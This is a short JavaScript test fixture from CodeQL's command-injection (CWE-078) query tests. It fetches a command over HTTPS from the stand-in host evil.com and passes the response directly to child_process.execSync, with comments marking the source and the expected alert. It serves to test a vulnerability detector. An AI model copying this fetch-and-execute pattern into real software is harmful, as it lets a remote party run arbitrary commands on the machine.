codeql/javascript/ql/test/query-tests/Security/CWE-078/CommandInjection/third-party-command-injection.js

let https = require("https"),
    cp = require("child_process");

https.get("https://evil.com/getCommand", res =>
    res.on("data", command => { // $ Source
        cp.execSync(command); // $ Alert
    })
);